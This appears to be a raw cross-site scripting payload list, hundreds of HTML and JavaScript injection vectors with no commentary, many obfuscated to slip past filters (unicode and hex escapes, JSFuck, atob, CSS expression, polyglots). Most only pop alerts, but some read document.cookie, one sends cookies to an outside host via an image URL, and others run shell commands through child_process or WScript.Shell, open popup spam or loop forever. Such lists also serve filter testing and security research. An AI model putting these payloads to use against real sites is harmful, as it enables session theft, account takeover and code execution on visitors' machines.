<script>$("span.foo").click(function() {alert('foo');$("a.bar").click();});$("a.bar").click(function() {alert('bar');location="http://html5sec.org";});</script>//["'`-->]]]]><![CDATA[>]</div>
<script>$=1,alert($)</script>
<script>([,하,,,,훌]=[]+{},[한,글,페,이,,로,드,ㅋ,,,ㅎ]=[!!하]+!하+하.ㅁ)[훌+=하+ㅎ+ㅋ+한+글+페+훌+한+하+글][훌](로+드+이+글+한+'(45)')()</script>
<script>({' \ '(){alert(1)}})[` \ `]()</script>
<script>({0:#0=alert/#0#/#0#(1)})</script>
<script>+{[atob`dG9TdHJpbmc`]()alert`1`}</script>
<script>/*jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e*/</script>
<script>//>%0Aalert(1);</script>
<script>//jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</script>
<script>1\u0069\u006E[];</script>
<script><img title="</script><img src onerror=alert(1)>"></script>
<script><script>alert(1)</script>
<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(1)}),x</script>
<script>Reflect.construct(function(){new.target.constructor('alert(1)')()},[])</script>
<script>[{get[alert(1)]()false}]</script>
<script>\u0061\u006C\u0065\u0072\u0074(1)</script> // Unicode escapes
<script>\u0061\u006C\u0065\u0072\u0074`1`</script> // ES6 Variation
<script>\u{61}\u{6c}\u{65}\u{72}\u{74}(1)</script> // ES6 Variation
<script>a = {get[alert`1`](){}}</script>
<script>a="<!--";//</script>alert(1)--></script>
<script>a="<%"//</script>alert(1)//%></script>
<script>a=`jackmasa<!--<script/\`;</script>
<script>a\u006cert(1);</script>
<script>alert%281%29</script>
<script>alert("/X"/)</script>
<script>alert("WXSS")</script>
<script>alert("hellox worldss");</script>
<script>alert('X')</script>=a
<script>alert('xss')</script>
<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
<script>alert(/X/)</script>
<script>alert(0)</script>
<script>alert(1)//
<script>alert(1)</script>
<script>alert(123)</script>
<script>alert(1234)</script>
<script>alert(String.fromCharCode(75,67,70))</script>
<script>alert([!![]] [])</script>
<script>alert([!![]]+[])</script>
<script>alert(\'1\')</script>
<script>alert(\'\\/\\1\\/\\\')</script>
<script>alert(\'\\\\1\\\\\')</script>
<script>alert(document.cookie)</script><div style="1@gmail.com
<script>alert(document.cookie)</script>@gmail.com
<script>alert(x.y.x.y.x.y[0]);alert(x.x.x.x.x.x.x.x.x.y.x.y.x.y[0]);</script>
<script>alert//.%0D(1)</script>
<script>alert`1`</script>
<script>class a{@alert get}</script>
<script>confirm("$\x0e\xce\xa0\xd4\xc7\xcb\x08")/script>;
<script>confirm(9)</script>
<script>delete prompt;prompt(1)</script>
<script>document.body.innerHTML="<a onmouseover%0B=location='\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x61\x6C\x65\x72\x74\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B'><input name=attributes>";</script>
<script>document.cookie=true;//--></script>
<script>document.write('<a href="//\u{1f136}\u{1f13e}\u{1f13e}\u{1f136}\u{1f13b}\u{1f134}\u{ff61}\u{1f132}\u{1f13e}\u{1f13c}"target=_blank>test</a>');</script>
<script>document.write('<script>/*');</script>*/alert(1)</script>
<script>document.write(toStaticHTML("<style>div{font-family:rgb('0,0,0)'''}foo');color=expression(alert(1));{}</style><div>POC</div>"))</script>
<script>eval(a\154ert(1));</script>
<script>eval(a\l\ert\(1\));</script>
<script>eval(a\u006cert(1));</script>
<script>eval(a\x6cert(1));</script>
<script>eval(al+ert(1));</script>
<script>eval("\141\154\145\162\164`1`")</script> // Octal escapes combined ES6 Diacritical Grave
<script>eval("\x61\x6c\x65\x72\x74(1)");</script> // Hexadecimal escapes using eval
<script>eval('al'+'ert(1)');</script>
<script>eval(String.fromCharCode(75,67,70));</script>
<script>eval(atob(amF2YXNjcmlwdDphbGVydCgxKQ));</script>
<script>eval(atob(‘amF2YXNjcmlwdDphbGVydCgxKQ’));</script>
<script>eval(location.hash.slice(1)</script>
<script>eval(‘a\154ert(1)’);</script>
<script>eval(‘a\l\ert\(1\)’);</script>
<script>eval(‘a\u006cert(1)’);</script>
<script>eval(‘a\x6cert(1)’);</script>
<script>eval(‘al’+’ert(1)’);</script>
<script>execScript(MsgBox 1,vbscript);</script>
<script>execScript(“MsgBox 1”,”vbscript”);</script>
<script>for(var i=0;i>=0;i++){alert(Math.random()); alert(document.cookie);}</script>
<script>function makePopups(){ for (i=1;i<6;i++) { window.open('popup.html','spam'+i,'width=50,height=50'); }}</script><body><a href="#" onclick="makePopups()">Spam</a>
<script>function::[alert](1)</script>
<script>function::[‘alert’](1)</script>
<script>import('data:t\ext/\ecmascript\,alert%601%60')</script>
<script>location.href;'javascript:alert%281%29'</script>
<script>parent.location.replace('javascript:alert(document.domain)')</script>
<script>prompt(-[])</script>
<script>prompt(1)</script>
<script>prompt(1234)</script>
<script>setTimeout("a" + "lert" + "(1)");</script> // Using Basic Concatenation
<script>setTimeout(/a/.source + /lert/.source + "(1)");</script> // Using source property for concatenation
<script>this["alert"]("X")</script>
<script>this[Object["keys"](this)[146]](1)</script>
<script>this[Object["keys"](this)[5]](1)</script>
<script>top.require('child_process').execSync('open -a Calculator')</script>
<script>try { document.write(document.location); } catch(e) { document.write(e.message); }</script>
<script>var a = </script><script>alert(1)</script>
<script>var a = ‘</script><script>alert(1)</script>
<script>var m=<html><a href="//host">link</a>
<script>var r = new ActiveXObject("WScript.Shell").Run("calc.exe");</script>
<script>var url = "<!--<script>";//</script>alert(1)</script>
<script>var%20x%20=%20“aâ€;%20confirm(1);//â€;</script>
<script>window.open( "http://127.0.0.1:3555/xss_serve_payloads/X.html" )</script>
<script>write(“<img/src=//xss.cx/?â€+cookie.replace(/\s/g,"")+“>â€)></script>
<script>’alert(1)’.replace(/.+/,eval)</script>
<script\x09type="text/javascript">javascript:alert(28);</script>
<script\x0Atype="text/javascript">javascript:alert(31);</script>
<script\x0Ctype="text/javascript">javascript:alert(29);</script>
<script\x0Dtype="text/javascript">javascript:alert(27);</script>
<script\x20type="text/javascript">javascript:alert(25);</script>
<script\x2Ftype="text/javascript">javascript:alert(30);</script>
<script\x3Etype="text/javascript">javascript:alert(26);</script>
<scronerror=ipt>prompt(document.domain)</scronerror=ipt>
<section onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</section>
<select autofocus onfocus=alert`1`
<select id=XSS onfocus=javascript:eval(String['fromCharCode'](97,108,101,114,116,40,39,120,115,115,39,41,32)) autofocus>
<select onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</select>
<select onclick="popup=1;">
<select onclick=popup=1;>
<select onfocus=javascript:alert(1) autofocus>
<select><noembed></select><script x='a@b'a>y='a@b'//a@b%0a\u0061lert(1)</script x>
<small onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</small>
<source onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</source>
<source onclick=popup=1; ><frameset/onload=popup=1;>
<span class=foo>Some text</span><a class=bar href="http://www.example.org">www.example.org</a><script src="http://code.jquery.com/jquery-1.4.4.js"></script><script>$("span.foo").click(function() {alert('foo');$("a.bar").click();});$("a.bar").click(function() {alert('bar');location="http://html5sec.org";});</script>
<span onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</span>
<strike onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</strike>
<strong onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" <em>="Renders as emphasized text" <strong>="Defines important text" <code>="Defines a piece of computer code" <samp>="Defines sample output from a computer program" <kbd>="Defines keyboard input" <var>="Defines a variable">Test</strong>
<style onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</style>
<style onload='execScript("InputBox+1","VbScript");'>
<style onload='execScript(/**/"\x61lert( 1)","j\x61vascript");'>
<style onreadystatechange="alert(1)">
<style onreadystatechange=alert(1)>
<style type="text/javascript">document.cookie=true;</style>
<style%0conload=alert(1)>
<style>#test{x:expression(alert(/X/))}</style>
<style>#x{font-family:foo[bar;color:green;}#y];color:red;{}</style>//["'`-->]]]]><![CDATA[>]</div>
<style>*{x:expression(javascript:alert(1))}</style>
<style>*{x:expression(write(1))}</style>
<style>*{x:ï½
ï½ï½ï½ï½
ï½ï½ï½ï½ï½(write(1))}</style>
<style>*{x:ｅｘｐｒｅｓｓｉｏｎ(write(1))}</style>
<style><!--</style><img src=1 onerror=alert(1)>-->
<style><!--</style><script>alert('XSS');//--></script>
<style><!--</style><script>alert(1);//--></script>
<style><!--</style><script>document.cookie=true;//--></script>
<style><img src="</style><img src=x onerror=prompt(1)//">
<style><img title="</style><img src onerror=alert(1)>"></style>
<style>@import "data:,*%7bx:expression(write(1))%7D";</style>
<style>body:after{content: “\61\6c\65\72\74\28\31\29″}</style><script>eval(eval(document.styleSheets[0].cssRules[0].style.content))</script>
<style>jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e</style>
<style>p[foo=bar{}*{-o-link:'javascript:alert(1)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>
<sub onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</sub>
